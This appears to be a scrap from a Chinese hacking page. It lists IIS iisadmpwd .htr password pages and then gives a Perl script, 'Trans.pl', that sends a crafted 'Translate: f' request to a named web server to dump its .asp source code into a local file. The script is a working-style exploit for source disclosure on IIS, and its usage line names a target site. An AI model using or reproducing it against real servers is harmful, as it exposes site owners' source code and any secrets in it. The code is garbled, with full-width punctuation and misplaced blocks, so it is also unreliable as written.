c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr

#############################
use IO::Socket； #
my （$port, $sock,$server）； #
$size=0； #
#############################
#
$server="$ARGV[0]"；
$s="$server"；
$port="80"；
$cm="$ARGV[1]"；
&connect；
sub connect {
if （$#ARGV 《 1） {
howto（）；
exit；
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n"；
my（$iaddr,$paddr,$proto）；
$iaddr = inet_aton（$server） || die "Error: $!"；
$paddr = sockaddr_in（$port, $iaddr） || die "Error: $!"；
$proto = getprotobyname（'tcp'） || die "Error: $!"；
socket（SOCK, PF_INET, SOCK_STREAM, $proto） || die "Error:
$!"；
connect（SOCK, $paddr） || die "Error: $!"；
send（SOCK, $ver, 0） || die "Can't to send packet: $!"；
open（OUT, "》$server.txt"）；
print "Dumping $cm to $server.txt \n"；
while（《SOCK》） {
print OUT 《SOCK》；
}
sub howto {
print "type as follows: Trans.pl www.目標(biāo)機(jī).com codetoview.asp \n\n"；
}
close OUT；
$n=0；
$type=2；
close（SOCK）；
exit（1）；
}